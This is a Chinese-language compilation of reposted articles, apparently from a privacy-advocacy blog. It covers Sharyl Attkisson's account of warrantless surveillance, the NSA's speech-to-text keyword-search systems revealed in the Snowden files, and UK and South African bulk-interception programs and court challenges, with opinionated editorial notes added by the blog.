当司法部长埃里克·霍尔德(Eric Holder)领导的司法部对记者詹姆斯·罗森(James Rosen)进行间谍活动 —— 甚至监视他父母的电话记录时，情况已经够糟糕的了。

同样是这些人，暗中监视美联社的记者，也以追查“泄密者”为名义。他们想要杀死透明度革命。

这些发现包括美国国家安全局(NSA)泄密者 Edward Snowden 揭露的政府大规模监视公民的行为。

美国国家情报总监詹姆斯•克拉珀(James Clapper)曾宣誓否认这一指控。

当多米诺骨牌开始倒下时，Holder 表达了一些遗憾，尤其是，当这种恐怖的监视手段被应用到对记者的入侵上时。

这就是发生在我身上的情况。

与此同时，有情报人士提醒我，当我在哥伦比亚广播公司**(CBS News)**担任调查记者时，政府正在监视我的电子设备。我经常与政府内部的告密者合作：那些诚实的人愿意揭露联邦政府内部发生的坏事。

政府监视我和我的家人的本质是经过法律证明的，不受合法问题的约束。然而，与詹姆斯·罗森(James Rosen)和美联社发生的状况不同的是，政府尚未发表任何道歉声明。

这是有原因的。

尽管情况很糟糕，但其他已知的记者被监视的案例都是在法庭命令的掩护下发生的，尽管这些命令是秘密发布的。

但是，政府监视我并不是在法庭授权下进行的。这就是为什么我的案子比其他案子更危险的原因。这意味着，⚠政府已经将其情报工具转向了针对本国公民，包括记者和政敌，其范围可能比任何人意识到的都要广泛得多。

我怎么知道我的案子没有搜查令的？不仅内部消息人士告诉我这一点，司法部检察长也向我证实了这一点。

在没有授权的情况下，这意味着我可能被卷入了所谓的“偶然”监视其他人物的行动中。

消息人士告诉我，⚠当咄咄逼人的政府特工想要监听某人、但知道自己无法证明授权的正当性时，他们只需要在此人周围找到一个目标，并在偶然的间谍活动中捕获他们的通信。

我称之为反向工程目标。很容易做到。

你看，在一项当时保密的政策下，情报官员以国家安全的名义扩大了他们的权力，允许政府特工不仅捕获一个理应合法的、符合“国家安全”目标的通信，还包括与该目标通信的所有人的通信。每个人都在和这些人交流。信不信由你，每个人都在和这些人交流。

换句话说，政府扩大监测范围主要是获得银行记录、电子邮件、私人照片、短信、上网记录、电话 —— 与原始目标相近的两到三个人的名字都包含在内，其中就有你的名字，被波及的人彼此间从来没见过甚至没听说过对方。

也许在我的情况下，监视任务被外包给了一个海外团队。几年前，政府承包商 Stratfor 在一封有先见之明的内部电子邮件中指出，我当然不是唯一被当成目标的记者。

我只是一个足够幸运的人，有消息来源提醒我，并帮助我获得证据。这就引出了2016年的恶梦。

早在2016年总统大选之前，就有机密消息人士提醒我，外国情报监视法院系统长期以来存在滥用行为，而且在获得窃听和其他监视方法的许可时，保护措施明显受到侵蚀。因此，选举失败并不令人意外。我认为这是多年不当操作的延伸。

在我看来，针对唐纳德·特朗普(Donald Trump)周围的人所做的监视（这个持续了数月的丑闻），似乎更多地是因为情报官员担心，特朗普可能会在迈克尔·弗林中将(Lt. Gen. Michael Flynn)的帮助下，深入调查这些长期存在的监控滥用行为。

注：情报部门对总统和政府高官的秘密监视是一种“传统”，其目的在于挟制，具体解释详见《国王们的晚宴 —— 这是一场看不见的政变》

弗林曾在奥巴马时代担任国防情报局局长，他不仅意识到情报机构长期存在的过度监控行为，而且还计划清理内部，这在情报部门内已不是什么秘密。

然而，最后，弗林无法胜任这项工作，因为他卷入了特朗普-俄罗斯门的指控。有趣吧。

在一个更完美的联盟中，司法部诚实的参与者会关注我的案件的取证工作，他们会对此案的发生感到震惊，并采取行动做出补偿，确定责任人。

显然，以这种方式全盘托出将是一件棘手的事——我怀疑其中一个问题比我们迄今听到的任何讨论都要大。

因此，由于美国司法部不履行职责，我只能自筹资金在民事法庭上伸张正义。

正如我在这个过程中所学到的，战斗的意义比我自己的利益要大得多。如果政府对其毫无根据地入侵我的行为不负责，根据我的律师的见解，政府将就此开启一个危险对的先例，令其可以自由监视任何美国公民，不论任何原因，而不会存在对惩罚的恐惧。

我的法庭之战显然是一场艰苦的战斗。司法部有无限可能来阻挠和打击我的案子，这已经是第四年了。

当涉及到需要的信息，以确定当事方联邦特工的名字时 —— 政府持有所有权力，他们没有说真话的动机。在我们试图从政府机构获得证据的过程中，司法部已经在处处阻挠我们。

这页是翻不过去的。

这是一个循环论证，只有在华盛顿特区的沼泽地带才有意义。

如果我们不能取得胜利，我们将继续进行下一步。可以理解的是，大多数美国人都不知道这种事，但我的法庭挑战对于维护我们长期以来的个人自由、新闻自由和隐私观念来时，至关重要。

本文作者：莎莉尔·阿特金森(Sharyl Attkisson)曾五次获得艾美奖(Emmy Award)、爱德华·r·默罗(Edward R. Murrow)调查报道奖(investigative reporting Award)、是电视节目《Full Measure》的主持人。

The Government Spied on Me. You Could Be Next. 广告

原文

政府间谍如何监听并自动识别电话通话中的敏感词? - iyouport

你应该了解的现实你我的灾难现实生物识别-眼下最严重的威胁，以及怎么办透明度革命

【2021年3月18日存档】这是2015年的揭露，有中国朋友对这种监听敏感词的方式感兴趣，我们使用这篇文章作为一些时间线方面的解释 —— 文末附带文档资源

【注】斯诺登文件已公开部分的中文讲述在这里看到《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》。

在中国，我们收到一些朋友的提问，他们怀疑当局的监视如何针对每一部电话的每一次通话？如何才能从无数通话中准确抓取到任何所谓的 “敏感词”？

人工监听是不可能做到这点的；如果您假设语音搜索的技术领域是个空白的话，这肯定是一个不可能完成的任务。但语音搜索真的不是空白 —— 美国间谍早在十几年前就开始成功实现了这种监听，即：实时地从无数通话中抓取和查找任何想要的关键词。

但您永远不可能知道他们用来瞄准您的敏感词是什么。它可以是一个隐喻词、可以是一种含混的模糊表达形式、甚至只是一个人名或地名 …… 您的电话通话和几乎所有互联网语音通话都是完全透明的。

来看看他们是如何做到这点的。

如今大多数人都已经意识到，他们曾经认为是私密的电子邮件和其他数字通信，都可以成为他们被永久记录的一部分。

但即使人们越来越多地使用那些能够理解他们所说的话的应用程序，大多数人也仍然没有意识到自己所说的一切都在被监视监听

斯诺登档案中的绝密文件显示，国安局一直可以自动识别电话内的对话内容，通过创建粗略的文字记录和语音，可以轻松搜索和存储任何

通话。

文件显示，国安局的分析师在十几年前就已经开始庆祝他们所谓的“语音谷歌”的发展了。

尽管对自然对话的完美转录显然仍是情报界的“圣杯”（一种至高无上、难以达成的目标），但是，斯诺登文件中已经描述了关键词语音搜索技术的广泛使用，以及旨在分析和“提取”任何政府间谍想要的语音对话内容的计算机程序，甚至使用复杂的算法来标记间谍们感兴趣的任何对话。

这些文件包括在伊拉克和阿富汗等战区以及拉丁美洲使用语音识别的生动例子。但是，这些文件没有说明间谍机构究竟在多大程度上广泛使用这种监听能力，特别是在收集大量通话的程序中，这些通话包括居住在美国的所有人和美国公民。

监视国际电话一直是国安局监控的主要内容之一，但要求实际人员进行监听意味着它实际上只能限于总流量的一小部分。通过利用自动语音识别的进步，NSA已经进入了大批量监听的时代。

而这是在没有任何公众监督、听证会或立法行动的情况下发生的。国会并没有表现出甚至知道这是怎么回事的迹象。

美国自由法案 —— 国会目前正在辩论的监控改革法案 —— 根本没有涉及这个话题。该法案也许将结束一个不收集语音内容的NSA项目：一直以来政府大量收集国内通话数据，显示谁给谁打电话，以及多长时间。

但是，即使该法案成为法律，斯诺登曝光的众多监视机制仍然会被保留下来，在美国和全球范围内挖出大量无辜者的文本短信和语音通信。

The Intercept 联系的公民自由专家表示，NSA的语音转文本功能是一个非常令人不安的例子，说明随着整个世界的数字化进程，隐私侵犯正在成为最大威胁。

“我认为依旧有很多人不明白，监控的经济学已经被完全改变了”，斯坦福互联网与社会中心的公民自由部门负责人 Jennifer Granick 说。

“一旦你拥有这种能力，那么问题是：如何部署它？你能缓存所有美国电话，抄录所有电话，并对电话内容进行文本搜索吗？”她说，“这可能不是他们现在正在做的事，但他们将能够做到这一点。”

而且，她问，“如果他们改变政策，我们如何才能知道？”

事实上，NSA官员一直在对他们将语音转换为文本的能力、以及他们如何广泛地使用这种能力的秘密，留下了大量的证据。

如何打破这种保密性是关键，Granick 说。“我们不知道有多少无辜的人受到影响，也不知道这些无辜的人中有多少是美国公民。”

【注：间谍机构可以拒绝任何监督，包括总统和国会都无法真正监督间谍机构；间谍机构的官员不会通过选举产生，公民对他们一无所知，但是，他们随时可以倾覆全世界任何地方的人们的生活。在国家安全局工作了30年的领先情报专家 William Binney 曾经在接受采访中对此有过解释，这份对话见《全球暴行的同谋者》】

国安局吹哨人 Thomas Drake 曾接受过语音处理加密语言学的培训，并在该机构工作到2008年，他告诉 The Intercept，911后，他看到了一个巨大的推动力，让间谍们想要将收集到的大量语音通信转化为更有用的东西。

人工的监听显然不会是解决方案。“没有那么多耳朵可用”，他说。

他说，新监视系统中出现的抄本并不完美，“但即使不是百分之百，监视者也能获得更多的信息。它更容易获得。可以对照它进行搜索。”

Drake 称，将语音转换为文本，使NSA更容易看到间谍们收集和存储的内容。“具有突破性的问题是，能够在多大范围内做到这一点，”他说。

更多数据，更多功能，更好的性能

「图」

国防部通过其国防高级研究计划局 (DARPA)，于1970年代初就开始资助对语音识别的学术和商业研究。

- 《超级战士：DARPA 想要制造精神控制的战争武器》

出现了多个将语音转化为文本的情报分析系统，所有这些系统都在缓慢但逐渐地改进，让它们能够对更多的数据以更快的速度工作。

在一次简短的采访中，DARPA 信息创新办公室主任 Dan Kaufman 表

示，政府在自动转录方面的能力仍然有限。

Kaufman 表示，电话对话的自动转录 “超级困难”，因为 “信号上有很多噪音”，“严重的不正规”。

他说，在像新闻广播这样的理想的声音环境中，“我们在转录翻译方面已经可以做得很好了。”

斯诺登档案 **2008** 年的一份文件显示，7年前，使用一种名为 “增强视频文本和音频处理” (Enhanced Video Text and Audio Processing) 的程序，对新闻广播进行转录已经做得很好：

(U/FOUO)EViTAP 是一个全自动的新闻监测工具。这款由 *Intelink-SBU* 托管的工具的主要特点是，它可以分析六种语言的新闻，包括阿拉伯语、中文普通话、俄语、西班牙语、英语和法语/波斯语。你可能会问，它是如何工作的？它集成了自动语音识别 *(ASR)*，它提供了口语音频的抄本，接下来，*ASR*转录的机器翻译将母语转录翻译成英语。瞧*!* 科技真神奇 ……

【注：再次提醒，本文来自6年前的2015年，背景是2013年的吹哨泄漏，其中标注的技术出现在更的时间里，请注意具体日期。关于自动语音识别，见去年底的这篇文章《中国AI巨头让监视如此容易》】

国安局使用的监视系统版本在6年前就已经可以商用了。

语音识别方面的专家表示，在过去的十几年里，技术改进的速度是爆炸性的。随着信息存储越来越便宜，效率越来越高，技术公司能够在服务器上存储大量的语音数据，使他们能够不断地更新和改进情报分析模型。巨大的处理器，被调教成 “深度神经网络”，像人脑一样的检测模式，产生的文字记录更加干净。

【注：这一发展的最明显体现就是，**2018**年的这个新闻中所警告的《大规模监视新途径：国际刑警组织使用 192 个执法机构的样本推出 *国际语音识别数据库*》】

斯诺登的文件显示，在商业语音转文本产品中看到的同样的飞跃也在国家安全局秘密进行，这得益于该机构对天文数字的信息的独特访问权限和其自身庞大的数据档案。

事实上，十多年来，国安局一直在不断推出新的改进型语音识别系统。

第一代语音监视工具就已经使海量语音内容的关键词搜索成为可能，于2004年推出，代号为 RHINEHART。

2006年NSA一份题为 “对于语音挖掘来说，未来就是现在！” 的内部备忘录中写到：“语音词搜索技术允许分析人员根据其情报内容查找任何想要的关键词，并优先拦截目标。”

备忘录称，参与反恐的情报分析人员能够识别出与炸弹制造材料有关的单词，如 “雷管” 和 “双氧水”，以及 “巴格达” 等地名或 “穆沙拉夫” 等人名。

RHINEHART “被设计成既支持实时搜索 —— 即通过指定的一组字典自动搜索传入的数据，也支持回溯性搜索 —— 即 间谍可以在过去几个月的流量中反复进行搜索”，该备忘录解释说（强调这是原文）。

截至2006年，RHINEHART 可以 “在各种任务和语言中” 运行，并 “在NSA/CSS [Central Security Service] 企业中使用”。

但即使在那时，NSA的人类语言技术（HLT）项目办公室已经在推出一个更新、更复杂的产品。新系统名为 VoiceRT，首先在巴格达推出，“设计为每天索引和标记100万个目标”。

根据2006年的另一份备忘录，其目标是利用语音处理技术，能够对所有被截获的通信进行 “索引、标记和可视化”。“使用HLT服务，一个分析师将能够对每天数百万条拦截的电话进行分类，只关注其中敏感的部分”，该备忘录称。

NSA 的英国间谍同行 GCHQ 在2009年的一份备忘录中描述了 “NSA 已经让BBN语音转文本系统 Byblos 在米德堡运行了至少10年 —— 也就是说至少从1999年就开始了。在此期间，他们投入了大量资金，以美式英语和越来越多的其他语言制作自己的转录 Sigint 语料库。GCHQ 还指出，它有自己的小型转录语音通信语料库，其中大部分恰好是 “北爱尔兰口音的语音”。

VoiceRT 则在推出几年后就被超越了。根据情报界2013财年的 “黑色预算”，VoiceRT 在2011年和2012年退役并被替换，这样到2013年，NSA就可以运行一个新系统。这个系统显然被称为 SPIRITFIRE，可以处理更多的数据，速度更快。SPIRITFIRE 将是 “基于语音到文本关键词搜索和配对对话转录的更强大的语音处理能力”。

在国外广泛使用

「图」

无论是通过普通电话线、手机网络还是通过网络语音服务发送的语音通信，都可以被国安局收集。此前公布的斯诺登文件中已经描述了NSA在过去十年中为获取 **Skype** 通话等网络语音内容所做的巨大努力。

档案中的其他文件记录了该机构对以下事实的调整，即越来越大比例的对话，甚至是那些以固定电话或移动电话开始的对话，最终以数字化数据包的形式飞过同样的光纤电缆，而NSA对其他数据和语音通信的挖掘非常有效。

The Intercept 所搜索和分析的斯诺登文件记录了NSA广泛使用语音到文本转录技术来搜索国际电话中截获的内容 —— 特别是在伊拉克和阿富汗，以及墨西哥和拉丁美洲。

例如，语音转文本是被称为 “实时区域网关”（RTRG）的复杂分析计划的一个关键但以前未被提及的元素，该计划始于**2005**年，据《华盛顿邮报》报道，当时新任命的国家安全局局长 Keith B. Alexander 说国安局 “想要得到一切：每一条短信、电话和电子邮件，都可以被该机构强大的计算机吸走”。

2006年**6**月国安局的一张幻灯片介绍了 VoiceRT 的作用。

这种从语音中搜索敏感词的技术也延伸到对伊朗的拦截。2006年的一份备忘录报告说，讲波斯语的分析人员成功地使用了 RHINEHART，他们 “在通信中搜索 ‘谈判’ 或 ‘美国’ 等关键词时，RHINEHART 找到了一个非常重要的电话，并逐字进行了转录，提供了一个重要的伊朗目标关于组建伊拉克新政府的讨论的情报”。

根据2011年的一份名为 “人类语言技术（HLT）进展如何？” 的备忘录中，NSA当年在阿富汗、在德克萨斯州和佐治亚州的设施，以及由特别收集处（NSA/CIA 的一个联合单位，在大使馆和其他地点运作）在拉丁美洲运行的监听站，都部署了 “HLT实验室”。

【注意：Special Collection Service，代号为F6的特别收集部门是高度机密的中央情报局-国家安全局联合计划，负责在外国大使馆，通讯中心和外国政府机构等难以到达的地方插入窃听设备。SCS成立于1970年代末，总部位于马里兰州的贝尔茨维尔，参与了从冷战到全球反恐战争的各种行动。】

备忘录说："西班牙语是我们最成熟的语音转录文本分析方法"。备忘录指出，NSA 及其在拉丁美洲的特别收集服务站点，在搜索西班牙语敏感词方面取得了"巨大成功"。

该备忘录提供了NSA德克萨斯州的一个例子，在那里，一名新接受系统培训的分析师使用敏感词搜索找到了以前未报告的关于一个监视目标的信息。在另一个案例中，拉丁美洲的一个特别收集服务站点的一名官员"能够在很少的时间内就找到关于一名古巴官员的外国情报"。

在2011年的一篇题为《从墨西哥到阿富汗，在一大堆语音收集中快速掘金》的文章中，一位来自国家安全局德克萨斯州的情报分析技术总监描述了他了解的人类语言技术"惊人的改变生活的事例"，以及它"在大量的收集数据中准确找到感兴趣的流量"的能力。

得克萨斯州的情报分析家们发现这项新技术是间谍活动的福音。"从寻找蒂华纳的隧道，到识别墨西哥城街道上的炸弹威胁，或者揭示墨西哥波托西的美国海关官员被枪杀事件，这项技术都起到了它所宣传的作用。他写道："在时间紧迫的情况下，它加速了寻找相关情报的过程。"(强调：原文如此)

备忘录的作者也是向阿富汗军事领导人介绍该技术的团队成员。"从坎大哈到喀布尔，我们走遍了全国，向NSA领导人解释了他们的愿景，并向 SIGINT（信号情报）团队介绍了HLT分析技术今天能做什么，以及为了使这项技术取得改变游戏规则的成功还需要做些什么"，该备忘录写道。

使用的程度仍然未知

「图」

档案中不太清楚的是，这种能力在多大程度上被广泛用于抄录或以其他方式索引和搜索主要涉及NSA所说的"美国"的语音通话。

尽管作为斯诺登档案一部分的 NSA"指南"中明确指出，"NSA/CSS已经创建了HLT模型"，用于语音到文本处理以及性别、语言和语音识别，但NSA并没有回答一系列关于自动语音识别的详细问题。"

事实上，处理过程可以帮助人类语言学家对音频文件进行分类和优先处理，而且统计模型根据实际截获的数据定期进行改进和更新。相比之下，由于它们是利用实际截获的音频文件进行调整的，所以系统的具体参数是高度机密的。

“国家安全局在授权的对外情报任务过程中，采用了多种技术”，发言人 Vanee’ Vines 在给 The Intercept 的邮件中写道。“这些技术由国安局专门的专业人员操作 …… 。”

Vines 没有回答有关处理美国国内或国内对国际语音通信的隐私保护的具体问题。但她写道：“NSA总是按照总统**2014**年**1**月的指示，实施 ……”

由总统任命但独立的隐私和公民自由监督委员会（PCLOB）在其公开报告中也没有提到语音转文本技术。

“我不会去讨论任何项目是否具有这种能力”，PCLOB 主席 David Medine 告诉 The Intercept。

他说，他的委员会的报告只包含情报界同意可以解密的信息。

“我们去了情报界，要求他们解密大量的材料”，他说，这些材料的“大部分” 都被解密了，但并不是全部 —— 包括 “我们认为可以在不损害国家安全的情况下解密的事实”。

Medine 说，从假设的角度来看，将语音转化为文本的能力将引发重大的隐私问题。而且这也会引起情报机构如何 “最大限度地减少被保留和传播的材料 —— 特别是涉及美国公民的材料 —— 的问题，这些材料包括他们并没有明确允许保留的信息。

“很明显，这种技术增加了政府监听更多电话的能力”，Medine 说。“这将引发更多的隐私问题。”

新的学习曲线

「图」

语音识别专家 Bhiksha Raj 将当前的时代比作互联网的早期，当时人们并没有完全意识到自己打出的东西会永远存在。

“当我在90年代开始使用互联网时，我只是在发布一些东西”，卡内基梅隆大学语言技术研究所的副教授 Raj 说，“我从来没有想到，20年后我可以自己去谷歌，把这些东西都挖出来。想象一下，如果我曾经在 alt.binaries.pictures.erotica 之类的网站上发了一些东西，现在这个帖子会让我永远尴尬。”

他说，语音通信的使用量也越来越大。而且，鉴于世界上大多数的通

信在历史上都是通过语音进行的，而且，它传统上被认为是一种私人的通信模式，所以风险就更高了。

“人们仍然没有意识到这个问题可能达到的相当严重的程度”，Raj 说，“而且这不仅仅是监控”，他说，“人们一直在使用语音服务。而这些语音去了哪里？谁知道？**……** 你是靠信任生活的。而现在，我认为你不能信任任何人。”

对新规则的需求

「图」

Stilwell 科技政策高级研究中心执行主任 Kim Taipale 是十年前试图让政策制定者认识到现有的监控方法并不能充分应对新的全球通信网络和包括语音识别在内的先进技术的几个人之一。

“事情不再是短暂的”，Taipale 告诉 The Intercept，“我们生活在这样一个世界里，许多曾经可以稍纵即逝的事，现在都被永久地记录下来了。那么问题就变成了：这有什么后果，要用什么规则来处理这些后果？”

Taipale 说，从现实的角度来看，“政府有能力批量搜索语音通信是我们在未来某些情况下可能不得不接受的事之一”。但是，至少需要“明确的公共规则和有效的监督，以确保这些信息只用于符合宪法原则的适当的执法或国家安全目的。”

最终，Taipale 说，考虑到人为滥用和误用导致侵犯人权的可能性，计算机标记可疑语音通信的监视系统可能比人工进行监听的系统更具侵犯性。

但在美国公民自由联盟的言论、隐私和技术项目的高级政策分析师 Jay Stanley 看来，从隐私人权、可能的后果以及对言论的寒蝉效应来看，人工的监听和电脑的监听之间并没有什么区别。

“人们最终关心的，也是最终产生寒蝉效应的，是后果”，他说，“我认为，随着时间的推移，人们会更加害怕电脑监听，就像害怕人类的监听一样，是因为它可能带来的后果。”

事实上，电脑监听的确会引发新的担忧。**2006**年NSA的一份内部备忘录称，“正在开发的一项重要增强功能是，这种**HLT**能力能够让情报分析人员根据目标人过去的行为模式预测哪些被截获的数据可能应该

成为新的敏感词。”

【注：也就是 少数派报告模式的行为预测。（在这里看到人类行为预测技术如何毁掉了民主）。】

该备忘录引用了亚马逊不仅追踪而且预测买家偏好的能力，称设计用于标记有趣的截获数据的 NSA 监视系统 “为向分析师提供高度丰富的流量排序带来了希望”。

在加州大学戴维斯分校计算机科学教授 Phillip Rogaway 看来敏感词搜索可能是 “我们最不需要解决的问题”。在给记者的一封电子邮件中，Rogaway 警告说：“当NSA根据当代NLP[自然语言处理]方法确定某人为目标人时，可能除了：‘此人的语料库与我们认为是重点监视目标的其他人的语料库相似’之外；更要紧的是，概念上的相反 —— “他的话语听起来与大多数人都不同”。

Rogaway 写道：“如果NSA计算机用来识别威胁的算法太过复杂，人类无法理解，那么就不可能理解人们据以判断的监控设备的轮廓。 人们能够做的唯一一件事就是，尽力让自己的行为和其他人一样。” 这就实现了大规模的行动操纵。

本文附带的文档：

- RT10 Overview (June 2006)
- For Media Mining, the Future is Now! (August 1, 2006)
- For Media Mining, the Future is Now! (conclusion) (August 7, 2006)
- Dealing With a ‘Tsunami’ of Intercept (August 29, 2006)
- Coming Soon! A Tool that Enables Non-Linguists to Analyze Foreign-TV News Programs (October 23, 2008)
- SIRDCC Speech Technology WG assessment of current STT technology (December 7, 2009)
- Classification Guide for Human Language Technology (HLT) Models (May 18, 2011)
- Finding Nuggets—Quickly—in a Heap of Voice Collection, From Mexico to Afghanistan (May 25, 2011)
- How Is Human Language (HLT) Progressing?(September 26, 2011)
- “Black Budget”—FY 2013 Congressional Budget Justification/National Intelligence Program, p. 262 (February 2012)

- “Black Budget”—FY 2013 Congressional Budget Justification/National Intelligence Program, pp. 360–364 (February 2012)

○□

HOW THE NSA CONVERTS SPOKEN WORDS INTO SEARCHABLE TEXT

原文

斯诺登曝光6年后，大规模拦截的现状 - iyouport

监视之恶-关于你可能还不知道的真相透明度革命

【2019年12月18日存档】揭露是第一步，承认是第二步，第三步是什么？

今年是 Edward Snowden 泄露有关大规模监控计划如何运作的详细信息后的第六年，现在，至少两个国家—英国和南非—已经公开承认使用了最危险的批量拦截能力。

- 在这里看到完整版公开文件中文版存档《互联网霸主的时间线》
- 在这里看到为什么反抗失败《6年，改变了什么？》

上面这张图描述了通信是如何通过互联网传播的，这对于理解大规模拦截的监视机制来说至关重要。

所有互联网通信都被分解为更小的片段，称为“数据包”；每个数据包都包含实际通信内容的一部分以及元数据；元数据是有关通信的信息，例如 发件人和收件人、发送日期和位置以及主题行。

在这里看到检验和避免元数据的工具《从自我保护到有效利用》。

组成单个通信的数据包不仅可以通过不同的路径到达目的地，还可以采用任何可行的路径。距离不是决定性因素。

因此，同一城市中两个人之间的通信可能会在到达其接收者之前在世界各地“旅行”。

数据包在互联网上的分散意味着我们的通信和数据更容易被外国政府拦截，外国政府可能会在全球范围内反弹的过程中将其捕获。

数据包的捕获，特别是因为它们包含的元数据，是非常具有侵入性的。

互联网极大地改变了我们的沟通方式，并在此过程中创建了有关我们沟通的额外个人数据。

元数据相当于让贴身间谍随时跟踪您、记录您去了哪里以及和谁说过话。

但在数字领域，元数据记录得东西更多 —— 例如，您的网络活动，可以显示购买的商品，访问的新闻网站，加入的论坛，阅读的书籍和观看的电影。

这些数据中的每一个都可以洞察一个人的内心。

这些数据拼凑在一起就可以对一个人的全部私人生活进行侵入性的和全面的监控，揭示他或她的身份、关系、兴趣、活动和位置等等一切。

移动数字设备越来越普遍，每时每刻都在产生数量不断增长的新数据形式。

与此同时，存储数据的成本一直都在急剧下降。

最重要的是，结合数据集和分析这一庞大数据库的技术手段已经发展得非常迅速，以前被认为无意义或不连贯的类型和数量的数据现在可以产生令人难以置信的启示性分析。

元数据的结构使得计算机可以更快，更有效地搜索你的行为模式，并比通过实际通信内容的类似搜索更多地了解你。

第二张图分解了批量拦截过程的各个阶段。下面将进一步解释这一过程，以英国为例（英国真正做满了全套）。

拦截 ——

英国信号情报机构政府通信总部 “GCHQ”通过利用登陆英国的海底光缆进行大规模拦截。和美国一样，英国的地理位置使其成为许多这些电缆的自然枢纽。

斯诺登文件表明，英国政府—经常与电信公司合作—已经在这些电缆上安装探测器以拦截其流量。

萃取 ——

英国政府将被拦截到的流量的副本重定向到缓冲区，临时存储空间，这些存储空间将所有内容保留三天，元数据保留30天。

筛选 ——

然后根据“选择标准”过滤此信息。就像中国审查的关键字过滤。

虽然英国政府提供的常见示例是电子邮件地址和电话号码，但是并不清楚允许过滤的全部范围。

这些过滤标准还可以包括与特定国家/地区相关的所有流量，特定的搜索引擎查询或在线购买，地理位置或一系列IP地址等等。

这些例子中的每一个都可以捕获许多许多人的私密信息。

存储和分析 ——

截获的信息存储在数据库中，分析人员可以随意进行查询、数据挖掘或调用信息以进一步检查。

2015年9月，The Intercept 发布的斯诺登文件记录了三个GCHQ项目 —— Black Hole、MUTANT BROTH 和 KARMA POLICE —— 揭示了英国政府批量拦截元数据的方式。

Black Hole 是一个元数据存储库，存储“电子邮件和即时消息记录，有关搜索引擎查询的详细信息，有关社交媒体活动的信息，与黑客操作相关的日志，以及人们使用匿名工具（如**Tor**）浏览互联网的数据。”

MUTANT BROTH 筛选与 cookies 相关的 Black Hole 数据 —— 存储在设备上数据以识别和跟踪浏览互联网的人 —— 监控互联网使用并发现在线身份。

KARMA POLICE 的描述是，“旨在将每个被动[信号情报]可见的用户与他们访问的每个网站相关联，从而提供（a）互联网上每个可见用户的网络浏览资料；或（b）互联网上每个可见网站的用户个人资料。”

情报共享 ——

GCHQ 会将截获的信息或分析结果分享给其他机构，如军情五处、军情六处、和国家犯罪局、还有政府。

英国获得美国的大规模拦截 ——

英国政府还可以通过各种方式获取美国政府批量拦截的信息。

英国可以直接和不受限制地访问原始拦截材料，然后可以提取、过滤、存储、分析和/或传播。还可以访问美国政府存储在数据库中的信息，然后可以分析和/或传播。或者访问美国政府的分析结果，例如情报报告，然后可以检查和/或传播。

斯诺登文件披露了美国大规模监控的惊人范围。

最早的揭露涉及一项名为 Upstream 的计划，同样利用了路经美国的海底光纤电缆的地理便利。

同时，硅谷科技巨头的高度集中化意味着世界上许多通信 —— Gmail通信、Whatsapp文本、Facebook帖子等等 —— 都将在传输过程中到达美国的服务器。

美国政府还在全球范围内进行全面的大规模拦截计划。RAMPART-A就是与外国合作伙伴共同运营的全球范围大规模拦截计划。

被曝光的NSA文件表明，RAMPART-A 可以拦截“全球范围内每秒超过3太比特的数据流，并涵盖所有通信技术，如语音、传真、电传、调制解调器、电子邮件、互联网聊天、虚拟专用网络（VPN）、VoIP、和语音通话记录。”

MUSCULAR 是一个与 GCHQ 共同运作的计划，该计划在谷歌和雅虎位于世界各地的私人数据中心之间直接拦截和提取数据。

根据泄露的2013年文件，在一个为期30天的时间内，国家安全局传送了超过1.81亿条记录 —— 包括内容和元数据 —— 返回到位于马里兰州米德堡总部的数据库。

美国和英国政府长期以来一直安排彼此分享情报，以及澳大利亚、加拿大和新西兰 —— 也就是所谓的“五眼联盟”，他们分享各种情报，特别是信号情报。

1946年开始美国和英国政府就签署了UKUSA协议，这是一项战后“通信情报”共享协议，后来才扩展到包括其他三个五眼联盟成员国。

UKUSA 协议的第3部分规定，“各方同意交换某些”与外国通信有关的业务“的产品”，包括“（1）流量收集;（2）获取通信文件和设备;

（3）流量分析;（4）密码分析;（5）解密和翻译”。

在某些情况下，NSA和GCHQ联合运行大规模拦截程序，如上面的MUSCULAR示例所示。但斯诺登文件显示，英国政府也可以获取通过各种美国大规模拦截计划截获的信息。

英国政府也可以访问 Marina，这是NSA的元数据存储库。Marina 有能力回顾[信号情报]收集系统看到的最后365天的元数据，无论它们是否被赋予任务采集。

以上是简要回顾 —— 仅以英国为例。详细介绍请见报告（中文版）《互联网霸主的时间线》

之后呢？

不止斯诺登，在过去十年或更长时间里，有很多举报人和记者一直在揭露美国、英国和全球其他政府的大规模拦截能力。

2013年的斯诺登揭露仍然是历史上的关键时刻，这些指控得到了数千份文件的支持，这些文件以极其详细的方式展示了世界上一些最强大的国家的大规模监视计划 —— 其能力、功能和过程。

但是，即使在斯诺登披露之后，政府仍然拒绝承认这些计划的存在，这可能会使全世界每个人都继续被置于国家监视的显微镜下。

有无数民间反抗者加入了抵制运动。

尽管南非情报机构相信大规模监控是一种普遍被接受的做法 —— 他们多次重复这点 —— 两国政府承认使用其大规模监视能力的情况表明，他们并不习惯于谈论这些做法。

他们的承认被埋没在法律诉讼中。联合国人权委员会已经对英国和南非的大规模监视表示了担忧。

究竟是哪种情况？

英国

在英国，该案件始于2013年，就在 Snowden 披露后不久。这项大规模拦截称为“Tempora”计划，政府坚持拒绝承认其存在。

隐私国际和其他九个非政府组织在斯诺登披露后不久对这种做法的合

法性提出了质疑。该案件已经通过国家诉讼程序，现已再次出现在欧洲最高人权法院—欧洲人权法院。

法律投诉最初于2013年7月提交给英国调查权力法庭（IPT）。IPT认定英国大规模拦截制度是非法的，因为管理此类监控的法律框架是秘密的。

欧洲法院认为英国的大规模拦截违反了“欧洲人权公约”第8条和第10条，这两条分别保护了隐私权和言论自由权。

2019年7月10日，英国政府终于承认该计划的存在。

那是英国政府首次相对详细地描述了这项大规模监视计划，收集、过滤、“选择性审查”和监视批量截获的通信的过程。他们描述了“简单”和“复杂”查询之间的区别、使用的选择器、以及它们如何操作：

- 对于“简单”查询，他们称使用单个“强选择器”，例如电话号码或电子邮件地址。
- 对于“复杂”查询，“结合了许多标准，其中可能包括较弱的选择器”。例如，“复杂”查询将搜索“特定语言、来自特定地理区域、以及使用特定技术的所有信息”。选择器包括例如特定的数字签名、特定船只的呼号等。

政府最终提到了数据保留期。“应用”强选择器进行筛选的通信如果不匹配会立即被丢弃；应用“复杂查询”过程的通信将继续保留多日。

南非

2017年，amaBhungane 调查新闻中心开始对大规模监视进行法律挑战。

两位申请人—amaBhungane 调查新闻中心和记者 Stephen Patrick Sole—对南非监管框架某些部分的合宪性提出了质疑。

具体而言，他们认为2002年“通讯拦截条例”（RICA）和1994年“国家安全法”（NSIA）侵犯了隐私权，因此法院应宣布它们违宪。

